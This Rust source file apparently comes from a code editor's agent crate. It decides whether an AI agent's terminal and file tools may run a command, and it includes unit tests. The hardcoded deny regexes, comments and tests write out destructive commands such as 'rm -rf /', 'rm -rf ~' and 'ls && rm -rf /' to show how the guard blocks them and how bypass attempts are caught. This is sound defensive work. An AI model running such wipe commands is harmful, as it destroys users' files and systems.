1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::{
6 TerminalCommandValidation, extract_commands, validate_terminal_command,
7};
8use std::path::{Component, Path};
9use std::sync::LazyLock;
10use util::shell::ShellKind;
11
12const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
13 harmful to be allowed, and cannot be overridden by settings.";
14const INVALID_TERMINAL_COMMAND_MESSAGE: &str = "The terminal command could not be approved because terminal does not \
15 allow shell substitutions or interpolations in permission-protected commands. Forbidden examples include $VAR, \
16 ${VAR}, $(...), backticks, $((...)), <(...), and >(...). Resolve those values before calling terminal, or ask \
17 the user for the literal value to use.";
18
19/// Security rules that are always enforced and cannot be overridden by any setting.
20/// These protect against catastrophic operations like wiping filesystems.
21pub struct HardcodedSecurityRules {
22 pub terminal_deny: Vec<CompiledRegex>,
23}
24
25pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
26 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
27 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
28 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
29 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
30 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
31
32 HardcodedSecurityRules {
33 terminal_deny: vec![
34 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
59 CompiledRegex::new(
60 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
61 false,
62 )
63 .expect("hardcoded regex should compile"),
64 ],
65 }
66});
67
68/// Checks if input matches any hardcoded security rules that cannot be bypassed.
69/// Returns a Deny decision if blocked, None otherwise.
70fn check_hardcoded_security_rules(
71 tool_name: &str,
72 inputs: &[String],
73 shell_kind: ShellKind,
74) -> Option<ToolPermissionDecision> {
75 // Currently only terminal tool has hardcoded rules
76 if tool_name != TerminalTool::NAME {
77 return None;
78 }
79
80 let rules = &*HARDCODED_SECURITY_RULES;
81 let terminal_patterns = &rules.terminal_deny;
82
83 for input in inputs {
84 // First: check the original input as-is (and its path-normalized form)
85 if matches_hardcoded_patterns(input, terminal_patterns) {
86 return Some(ToolPermissionDecision::Deny(
87 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
88 ));
89 }
90
91 // Second: parse and check individual sub-commands (for chained commands)
92 if shell_kind.supports_posix_chaining() {
93 if let Some(commands) = extract_commands(input) {
94 for command in &commands {
95 if matches_hardcoded_patterns(command, terminal_patterns) {
96 return Some(ToolPermissionDecision::Deny(
97 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
98 ));
99 }
100 }
101 }
102 }
103 }
104
105 None
106}
107
108/// Checks a single command against hardcoded patterns, both as-is and with
109/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
110/// and multi-path bypasses like `rm -rf /tmp /`).
111fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
112 for pattern in patterns {
113 if pattern.is_match(command) {
114 return true;
115 }
116 }
117
118 for expanded in expand_rm_to_single_path_commands(command) {
119 for pattern in patterns {
120 if pattern.is_match(&expanded) {
121 return true;
122 }
123 }
124 }
125
126 false
127}
128
129/// For rm commands, expands multi-path arguments into individual single-path
130/// commands with normalized paths. This catches both traversal bypasses like
131/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
132fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
133 let trimmed = command.trim();
134
135 let first_token = trimmed.split_whitespace().next();
136 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
137 return vec![];
138 }
139
140 let parts: Vec<&str> = trimmed.split_whitespace().collect();
141 let mut flags = Vec::new();
142 let mut paths = Vec::new();
143 let mut past_double_dash = false;
144
145 for part in parts.iter().skip(1) {
146 if !past_double_dash && *part == "--" {
147 past_double_dash = true;
148 flags.push(*part);
149 continue;
150 }
151 if !past_double_dash && part.starts_with('-') {
152 flags.push(*part);
153 } else {
154 paths.push(*part);
155 }
156 }
157
158 let flags_str = if flags.is_empty() {
159 String::new()
160 } else {
161 format!("{} ", flags.join(" "))
162 };
163
164 let mut results = Vec::new();
165 for path in &paths {
166 if path.starts_with('$') {
167 let home_prefix = if path.starts_with("${HOME}") {
168 Some("${HOME}")
169 } else if path.starts_with("$HOME") {
170 Some("$HOME")
171 } else {
172 None
173 };
174
175 if let Some(prefix) = home_prefix {
176 let suffix = &path[prefix.len()..];
177 if suffix.is_empty() {
178 results.push(format!("rm {flags_str}{path}"));
179 } else if suffix.starts_with('/') {
180 let normalized_suffix = normalize_path(suffix);
181 let reconstructed = if normalized_suffix == "/" {
182 prefix.to_string()
183 } else {
184 format!("{prefix}{normalized_suffix}")
185 };
186 results.push(format!("rm {flags_str}{reconstructed}"));
187 } else {
188 results.push(format!("rm {flags_str}{path}"));
189 }
190 } else {
191 results.push(format!("rm {flags_str}{path}"));
192 }
193 continue;
194 }
195
196 let mut normalized = normalize_path(path);
197 if normalized.is_empty() && !Path::new(path).has_root() {
198 normalized = ".".to_string();
199 }
200
201 results.push(format!("rm {flags_str}{normalized}"));
202 }
203
204 results
205}
206
207#[derive(Debug, Clone, PartialEq, Eq)]
208pub enum ToolPermissionDecision {
209 Allow,
210 Deny(String),
211 Confirm,
212}
213
214impl ToolPermissionDecision {
215 /// Determines the permission decision for a tool invocation based on configured rules.
216 ///
217 /// # Precedence Order (highest to lowest)
218 ///
219 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
220 /// that cannot be bypassed by any user settings.
221 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
222 /// This takes precedence over `always_confirm` and `always_allow` patterns.
223 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
224 /// the user is prompted for confirmation.
225 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
226 /// the tool call proceeds without prompting.
227 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
228 /// `default` configured, that mode is used.
229 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
230 /// tool-specific default is set, or when the tool has no entry at all.
231 ///
232 /// # Shell Compatibility (Terminal Tool Only)
233 ///
234 /// For the terminal tool, commands are parsed to extract sub-commands for security.
235 /// All currently supported `ShellKind` variants are treated as compatible because
236 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
237 /// variant is added that brush-parser cannot safely parse, it should be excluded
238 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
239 /// patterns to be disabled for that shell.
240 ///
241 /// # Pattern Matching Tips
242 ///
243 /// Patterns are matched as regular expressions against the tool input (e.g., the command
244 /// string for the terminal tool). Some tips for writing effective patterns:
245 ///
246 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
247 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
248 /// This is important for security rules where you want to block specific commands
249 /// without accidentally blocking unrelated commands that happen to contain the same
250 /// substring.
251 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
252 /// - Use `^` and `$` anchors to match the start/end of the input.
253 pub fn from_input(
254 tool_name: &str,
255 inputs: &[String],
256 permissions: &ToolPermissions,
257 shell_kind: ShellKind,
258 ) -> ToolPermissionDecision {
259 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
260 // These cannot be bypassed by any user settings.
261 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
262 return denial;
263 }
264
265 let rules = permissions.tools.get(tool_name);
266
267 // Check for invalid regex patterns before evaluating rules.
268 // If any patterns failed to compile, block the tool call entirely.
269 if let Some(error) = rules.and_then(|rules| check_invalid_patterns(tool_name, rules)) {
270 return ToolPermissionDecision::Deny(error);
271 }
272
273 if tool_name == TerminalTool::NAME
274 && !rules.map_or(
275 matches!(permissions.default, ToolPermissionMode::Allow),
276 |rules| is_unconditional_allow_all(rules, permissions.default),
277 )
278 && inputs.iter().any(|input| {
279 matches!(
280 validate_terminal_command(input),
281 TerminalCommandValidation::Unsafe | TerminalCommandValidation::Unsupported
282 )
283 })
284 {
285 return ToolPermissionDecision::Deny(INVALID_TERMINAL_COMMAND_MESSAGE.into());
286 }
287
288 let rules = match rules {
289 Some(rules) => rules,
290 None => {
291 // No tool-specific rules, use the global default
292 return match permissions.default {
293 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
294 ToolPermissionMode::Deny => {
295 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
296 }
297 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
298 };
299 }
300 };
301
302 // For the terminal tool, parse each input command to extract all sub-commands.
303 // This prevents shell injection attacks where a user configures an allow
304 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
305 //
306 // If parsing fails or the shell syntax is unsupported, always_allow is
307 // disabled for this command (we set allow_enabled to false to signal this).
308 if tool_name == TerminalTool::NAME {
309 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
310 // See the doc comment above for the list of compatible/incompatible shells.
311 if !shell_kind.supports_posix_chaining() {
312 // For shells with incompatible syntax, we can't reliably parse
313 // the command to extract sub-commands.
314 if !rules.always_allow.is_empty() {
315 // If the user has configured always_allow patterns, we must deny
316 // because we can't safely verify the command doesn't contain
317 // hidden sub-commands that bypass the allow patterns.
318 return ToolPermissionDecision::Deny(format!(
319 "The {} shell does not support \"always allow\" patterns for the terminal \
320 tool because Zed cannot parse its command chaining syntax. Please remove \
321 the always_allow patterns from your tool_permissions settings, or switch \
322 to a POSIX-conforming shell.",
323 shell_kind
324 ));
325 }
326 // No always_allow rules, so we can still check deny/confirm patterns.
327 return check_commands(
328 inputs.iter().map(|s| s.to_string()),
329 rules,
330 tool_name,
331 false,
332 permissions.default,
333 );
334 }
335
336 // Expand each input into its sub-commands and check them all together.
337 let mut all_commands = Vec::new();
338 let mut any_parse_failed = false;
339 for input in inputs {
340 match extract_commands(input) {
341 Some(commands) => all_commands.extend(commands),
342 None => {
343 any_parse_failed = true;
344 all_commands.push(input.to_string());
345 }
346 }
347 }
348 // If any command failed to parse, disable allow patterns for safety.
349 check_commands(
350 all_commands,
351 rules,
352 tool_name,
353 !any_parse_failed,
354 permissions.default,
355 )
356 } else {
357 check_commands(
358 inputs.iter().map(|s| s.to_string()),
359 rules,
360 tool_name,
361 true,
362 permissions.default,
363 )
364 }
365 }
366}
367
368/// Evaluates permission rules against a set of commands.
369///
370/// This function performs a single pass through all commands with the following logic:
371/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
372/// - **CONFIRM**: Track if ANY command matches a confirm pattern
373/// - **ALLOW**: Track if ALL commands match at least one allow pattern
374///
375/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
376/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
377/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
378fn check_commands(
379 commands: impl IntoIterator<Item = String>,
380 rules: &ToolRules,
381 tool_name: &str,
382 allow_enabled: bool,
383 global_default: ToolPermissionMode,
384) -> ToolPermissionDecision {
385 // Single pass through all commands:
386 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
387 // - CONFIRM: Track if ANY command matches a confirm pattern
388 // - ALLOW: Track if ALL commands match at least one allow pattern
389 let mut any_matched_confirm = false;
390 let mut all_matched_allow = true;
391 let mut had_any_commands = false;
392
393 for command in commands {
394 had_any_commands = true;
395
396 // DENY: immediate return if any command matches a deny pattern
397 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
398 return ToolPermissionDecision::Deny(format!(
399 "Command blocked by security rule for {} tool",
400 tool_name
401 ));
402 }
403
404 // CONFIRM: remember if any command matches a confirm pattern
405 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
406 any_matched_confirm = true;
407 }
408
409 // ALLOW: track if all commands match at least one allow pattern
410 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
411 all_matched_allow = false;
412 }
413 }
414
415 // After processing all commands, check accumulated state
416 if any_matched_confirm {
417 return ToolPermissionDecision::Confirm;
418 }
419
420 if allow_enabled && all_matched_allow && had_any_commands {
421 return ToolPermissionDecision::Allow;
422 }
423
424 match rules.default.unwrap_or(global_default) {
425 ToolPermissionMode::Deny => {
426 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
427 }
428 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
429 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
430 }
431}
432
433fn is_unconditional_allow_all(rules: &ToolRules, global_default: ToolPermissionMode) -> bool {
434 // `always_allow` is intentionally not checked here: when the effective default
435 // is already Allow and there are no deny/confirm restrictions, allow patterns
436 // are redundant — the user has opted into allowing everything.
437 rules.always_deny.is_empty()
438 && rules.always_confirm.is_empty()
439 && matches!(
440 rules.default.unwrap_or(global_default),
441 ToolPermissionMode::Allow
442 )
443}
444
445/// Checks if the tool rules contain any invalid regex patterns.
446/// Returns an error message if invalid patterns are found.
447fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
448 if rules.invalid_patterns.is_empty() {
449 return None;
450 }
451
452 let count = rules.invalid_patterns.len();
453 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
454
455 Some(format!(
456 "The {} tool cannot run because {} regex {} failed to compile. \
457 Please fix the invalid patterns in your tool_permissions settings.",
458 tool_name, count, pattern_word
459 ))
460}
461
462/// Convenience wrapper that extracts permission settings from `AgentSettings`.
463///
464/// This is the primary entry point for tools to check permissions. It extracts
465/// `tool_permissions` from the settings and
466/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
467pub fn decide_permission_from_settings(
468 tool_name: &str,
469 inputs: &[String],
470 settings: &AgentSettings,
471) -> ToolPermissionDecision {
472 ToolPermissionDecision::from_input(
473 tool_name,
474 inputs,
475 &settings.tool_permissions,
476 ShellKind::system(),
477 )
478}
479
480/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
481pub fn normalize_path(raw: &str) -> String {
482 let is_absolute = Path::new(raw).has_root();
483 let mut components: Vec<&str> = Vec::new();
484 for component in Path::new(raw).components() {
485 match component {
486 Component::CurDir => {}
487 Component::ParentDir => {
488 if components.last() == Some(&"..") {
489 components.push("..");
490 } else if !components.is_empty() {
491 components.pop();
492 } else if !is_absolute {
493 components.push("..");
494 }
495 }
496 Component::Normal(segment) => {
497 if let Some(s) = segment.to_str() {
498 components.push(s);
499 }
500 }
501 Component::RootDir | Component::Prefix(_) => {}
502 }
503 }
504 let joined = components.join("/");
505 if is_absolute {
506 format!("/{joined}")
507 } else {
508 joined
509 }
510}
511
512/// Decides permission by checking both the raw input path and a simplified/canonicalized
513/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
514pub fn decide_permission_for_paths(
515 tool_name: &str,
516 raw_paths: &[String],
517 settings: &AgentSettings,
518) -> ToolPermissionDecision {
519 let raw_inputs: Vec<String> = raw_paths.to_vec();
520 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
521
522 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
523 let any_changed = raw_paths
524 .iter()
525 .zip(&normalized)
526 .any(|(raw, norm)| raw != norm);
527 if !any_changed {
528 return raw_decision;
529 }
530
531 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
532
533 most_restrictive(raw_decision, normalized_decision)
534}
535
536pub fn decide_permission_for_path(
537 tool_name: &str,
538 raw_path: &str,
539 settings: &AgentSettings,
540) -> ToolPermissionDecision {
541 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
542}
543
544pub fn most_restrictive(
545 a: ToolPermissionDecision,
546 b: ToolPermissionDecision,
547) -> ToolPermissionDecision {
548 match (&a, &b) {
549 (ToolPermissionDecision::Deny(_), _) => a,
550 (_, ToolPermissionDecision::Deny(_)) => b,
551 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
552 ToolPermissionDecision::Confirm
553 }
554 _ => a,
555 }
556}
557
558#[cfg(test)]
559mod tests {
560 use super::*;
561 use crate::AgentTool;
562 use crate::pattern_extraction::extract_terminal_pattern;
563 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
564 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
565 use gpui::px;
566 use settings::{DockPosition, NotifyWhenAgentWaiting, PlaySoundWhenAgentDone};
567 use std::sync::Arc;
568
569 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
570 AgentSettings {
571 enabled: true,
572 button: true,
573 dock: DockPosition::Right,
574 flexible: true,
575 default_width: px(300.),
576 default_height: px(600.),
577 default_model: None,
578 inline_assistant_model: None,
579 inline_assistant_use_streaming_tools: false,
580 commit_message_model: None,
581 thread_summary_model: None,
582 inline_alternatives: vec![],
583 favorite_models: vec![],
584 default_profile: AgentProfileId::default(),
585 profiles: Default::default(),
586 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
587 play_sound_when_agent_done: PlaySoundWhenAgentDone::default(),
588 single_file_review: false,
589 model_parameters: vec![],
590 enable_feedback: false,
591 expand_edit_card: true,
592 expand_terminal_card: true,
593 cancel_generation_on_terminal_stop: true,
594 use_modifier_to_send: true,
595 message_editor_min_lines: 1,
596 tool_permissions,
597 show_turn_stats: false,
598 show_merge_conflict_indicator: true,
599 new_thread_location: Default::default(),
600 sidebar_side: Default::default(),
601 thinking_display: Default::default(),
602 }
603 }
604
605 fn pattern(command: &str) -> &'static str {
606 Box::leak(
607 extract_terminal_pattern(command)
608 .expect("failed to extract pattern")
609 .into_boxed_str(),
610 )
611 }
612
613 struct PermTest {
614 tool: &'static str,
615 input: &'static str,
616 mode: Option<ToolPermissionMode>,
617 allow: Vec<(&'static str, bool)>,
618 deny: Vec<(&'static str, bool)>,
619 confirm: Vec<(&'static str, bool)>,
620 global_default: ToolPermissionMode,
621 shell: ShellKind,
622 }
623
624 impl PermTest {
625 fn new(input: &'static str) -> Self {
626 Self {
627 tool: TerminalTool::NAME,
628 input,
629 mode: None,
630 allow: vec![],
631 deny: vec![],
632 confirm: vec![],
633 global_default: ToolPermissionMode::Confirm,
634 shell: ShellKind::Posix,
635 }
636 }
637
638 fn tool(mut self, t: &'static str) -> Self {
639 self.tool = t;
640 self
641 }
642 fn mode(mut self, m: ToolPermissionMode) -> Self {
643 self.mode = Some(m);
644 self
645 }
646 fn allow(mut self, p: &[&'static str]) -> Self {
647 self.allow = p.iter().map(|s| (*s, false)).collect();
648 self
649 }
650 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
651 self.allow = p.iter().map(|s| (*s, true)).collect();
652 self
653 }
654 fn deny(mut self, p: &[&'static str]) -> Self {
655 self.deny = p.iter().map(|s| (*s, false)).collect();
656 self
657 }
658 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
659 self.deny = p.iter().map(|s| (*s, true)).collect();
660 self
661 }
662 fn confirm(mut self, p: &[&'static str]) -> Self {
663 self.confirm = p.iter().map(|s| (*s, false)).collect();
664 self
665 }
666 fn global_default(mut self, m: ToolPermissionMode) -> Self {
667 self.global_default = m;
668 self
669 }
670 fn shell(mut self, s: ShellKind) -> Self {
671 self.shell = s;
672 self
673 }
674
675 fn is_allow(self) {
676 assert_eq!(
677 self.run(),
678 ToolPermissionDecision::Allow,
679 "expected Allow for '{}'",
680 self.input
681 );
682 }
683 fn is_deny(self) {
684 assert!(
685 matches!(self.run(), ToolPermissionDecision::Deny(_)),
686 "expected Deny for '{}'",
687 self.input
688 );
689 }
690 fn is_confirm(self) {
691 assert_eq!(
692 self.run(),
693 ToolPermissionDecision::Confirm,
694 "expected Confirm for '{}'",
695 self.input
696 );
697 }
698
699 fn run(&self) -> ToolPermissionDecision {
700 let mut tools = collections::HashMap::default();
701 tools.insert(
702 Arc::from(self.tool),
703 ToolRules {
704 default: self.mode,
705 always_allow: self
706 .allow
707 .iter()
708 .map(|(p, cs)| {
709 CompiledRegex::new(p, *cs)
710 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
711 })
712 .collect(),
713 always_deny: self
714 .deny
715 .iter()
716 .map(|(p, cs)| {
717 CompiledRegex::new(p, *cs)
718 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
719 })
720 .collect(),
721 always_confirm: self
722 .confirm
723 .iter()
724 .map(|(p, cs)| {
725 CompiledRegex::new(p, *cs)
726 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
727 })
728 .collect(),
729 invalid_patterns: vec![],
730 },
731 );
732 ToolPermissionDecision::from_input(
733 self.tool,
734 &[self.input.to_string()],
735 &ToolPermissions {
736 default: self.global_default,
737 tools,
738 },
739 self.shell,
740 )
741 }
742 }
743
744 fn t(input: &'static str) -> PermTest {
745 PermTest::new(input)
746 }
747
748 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
749 ToolPermissionDecision::from_input(
750 TerminalTool::NAME,
751 &[input.to_string()],
752 &ToolPermissions {
753 default: global_default,
754 tools: collections::HashMap::default(),
755 },
756 ShellKind::Posix,
757 )
758 }
759
760 // allow pattern matches
761 #[test]
762 fn allow_exact_match() {
763 t("cargo test").allow(&[pattern("cargo")]).is_allow();
764 }
765 #[test]
766 fn allow_one_of_many_patterns() {
767 t("npm install")
768 .allow(&[pattern("cargo"), pattern("npm")])
769 .is_allow();
770 t("git status")
771 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
772 .is_allow();
773 }
774 #[test]
775 fn allow_middle_pattern() {
776 t("run cargo now").allow(&["cargo"]).is_allow();
777 }
778 #[test]
779 fn allow_anchor_prevents_middle() {
780 t("run cargo now").allow(&["^cargo"]).is_confirm();
781 }
782
783 // allow pattern doesn't match -> falls through
784 #[test]
785 fn allow_no_match_confirms() {
786 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
787 }
788 #[test]
789 fn allow_no_match_global_allows() {
790 t("python x.py")
791 .allow(&[pattern("cargo")])
792 .global_default(ToolPermissionMode::Allow)
793 .is_allow();
794 }
795 #[test]
796 fn allow_no_match_tool_confirm_overrides_global_allow() {
797 t("python x.py")
798 .allow(&[pattern("cargo")])
799 .mode(ToolPermissionMode::Confirm)
800 .global_default(ToolPermissionMode::Allow)
801 .is_confirm();
802 }
803 #[test]
804 fn allow_no_match_tool_allow_overrides_global_confirm() {
805 t("python x.py")
806 .allow(&[pattern("cargo")])
807 .mode(ToolPermissionMode::Allow)
808 .global_default(ToolPermissionMode::Confirm)
809 .is_allow();
810 }
811
812 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
813 #[test]
814 fn deny_blocks() {
815 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
816 }
817 // global default: allow does NOT bypass user-configured deny rules
818 #[test]
819 fn deny_not_bypassed_by_global_default_allow() {
820 t("rm -rf ./temp")
821 .deny(&["rm\\s+-rf"])
822 .global_default(ToolPermissionMode::Allow)
823 .is_deny();
824 }
825 #[test]
826 fn deny_blocks_with_mode_allow() {
827 t("rm -rf ./temp")
828 .deny(&["rm\\s+-rf"])
829 .mode(ToolPermissionMode::Allow)
830 .is_deny();
831 }
832 #[test]
833 fn deny_middle_match() {
834 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
835 }
836 #[test]
837 fn deny_no_match_falls_through() {
838 t("ls -la")
839 .deny(&["rm\\s+-rf"])
840 .mode(ToolPermissionMode::Allow)
841 .is_allow();
842 }
843
844 // confirm pattern matches
845 #[test]
846 fn confirm_requires_confirm() {
847 t("sudo apt install")
848 .confirm(&[pattern("sudo")])
849 .is_confirm();
850 }
851 // global default: allow does NOT bypass user-configured confirm rules
852 #[test]
853 fn global_default_allow_does_not_override_confirm_pattern() {
854 t("sudo reboot")
855 .confirm(&[pattern("sudo")])
856 .global_default(ToolPermissionMode::Allow)
857 .is_confirm();
858 }
859 #[test]
860 fn confirm_overrides_mode_allow() {
861 t("sudo x")
862 .confirm(&["sudo"])
863 .mode(ToolPermissionMode::Allow)
864 .is_confirm();
865 }
866
867 // confirm beats allow
868 #[test]
869 fn confirm_beats_allow() {
870 t("git push --force")
871 .allow(&[pattern("git")])
872 .confirm(&["--force"])
873 .is_confirm();
874 }
875 #[test]
876 fn confirm_beats_allow_overlap() {
877 t("deploy prod")
878 .allow(&["deploy"])
879 .confirm(&["prod"])
880 .is_confirm();
881 }
882 #[test]
883 fn allow_when_confirm_no_match() {
884 t("git status")
885 .allow(&[pattern("git")])
886 .confirm(&["--force"])
887 .is_allow();
888 }
889
890 // deny beats allow
891 #[test]
892 fn deny_beats_allow() {
893 t("rm -rf ./tmp/x")
894 .allow(&["/tmp/"])
895 .deny(&["rm\\s+-rf"])
896 .is_deny();
897 }
898
899 #[test]
900 fn deny_beats_confirm() {
901 t("sudo rm -rf ./temp")
902 .confirm(&["sudo"])
903 .deny(&["rm\\s+-rf"])
904 .is_deny();
905 }
906
907 // deny beats everything
908 #[test]
909 fn deny_beats_all() {
910 t("bad cmd")
911 .allow(&["cmd"])
912 .confirm(&["cmd"])
913 .deny(&["bad"])
914 .is_deny();
915 }
916
917 // no patterns -> default
918 #[test]
919 fn default_confirm() {
920 t("python x.py")
921 .mode(ToolPermissionMode::Confirm)
922 .is_confirm();
923 }
924 #[test]
925 fn default_allow() {
926 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
927 }
928 #[test]
929 fn default_deny() {
930 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
931 }
932 // Tool-specific default takes precedence over global default
933 #[test]
934 fn tool_default_deny_overrides_global_allow() {
935 t("python x.py")
936 .mode(ToolPermissionMode::Deny)
937 .global_default(ToolPermissionMode::Allow)
938 .is_deny();
939 }
940
941 // Tool-specific default takes precedence over global default
942 #[test]
943 fn tool_default_confirm_overrides_global_allow() {
944 t("x")
945 .mode(ToolPermissionMode::Confirm)
946 .global_default(ToolPermissionMode::Allow)
947 .is_confirm();
948 }
949
950 #[test]
951 fn no_rules_uses_global_default() {
952 assert_eq!(
953 no_rules("x", ToolPermissionMode::Confirm),
954 ToolPermissionDecision::Confirm
955 );
956 assert_eq!(
957 no_rules("x", ToolPermissionMode::Allow),
958 ToolPermissionDecision::Allow
959 );
960 assert!(matches!(
961 no_rules("x", ToolPermissionMode::Deny),
962 ToolPermissionDecision::Deny(_)
963 ));
964 }
965
966 #[test]
967 fn empty_input_no_match() {
968 t("")
969 .deny(&["rm"])
970 .mode(ToolPermissionMode::Allow)
971 .is_allow();
972 }
973
974 #[test]
975 fn empty_input_with_allow_falls_to_default() {
976 t("").allow(&["^ls"]).is_confirm();
977 }
978
979 #[test]
980 fn multi_deny_any_match() {
981 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
982 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
983 }
984
985 #[test]
986 fn multi_allow_any_match() {
987 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
988 }
989 #[test]
990 fn multi_none_match() {
991 t("python x")
992 .allow(&["^cargo", "^npm"])
993 .deny(&["rm"])
994 .is_confirm();
995 }
996
997 // tool isolation
998 #[test]
999 fn other_tool_not_affected() {
1000 let mut tools = collections::HashMap::default();
1001 tools.insert(
1002 Arc::from(TerminalTool::NAME),
1003 ToolRules {
1004 default: Some(ToolPermissionMode::Deny),
1005 always_allow: vec![],
1006 always_deny: vec![],
1007 always_confirm: vec![],
1008 invalid_patterns: vec![],
1009 },
1010 );
1011 tools.insert(
1012 Arc::from(EditFileTool::NAME),
1013 ToolRules {
1014 default: Some(ToolPermissionMode::Allow),
1015 always_allow: vec![],
1016 always_deny: vec![],
1017 always_confirm: vec![],
1018 invalid_patterns: vec![],
1019 },
1020 );
1021 let p = ToolPermissions {
1022 default: ToolPermissionMode::Confirm,
1023 tools,
1024 };
1025 assert!(matches!(
1026 ToolPermissionDecision::from_input(
1027 TerminalTool::NAME,
1028 &["x".to_string()],
1029 &p,
1030 ShellKind::Posix
1031 ),
1032 ToolPermissionDecision::Deny(_)
1033 ));
1034 assert_eq!(
1035 ToolPermissionDecision::from_input(
1036 EditFileTool::NAME,
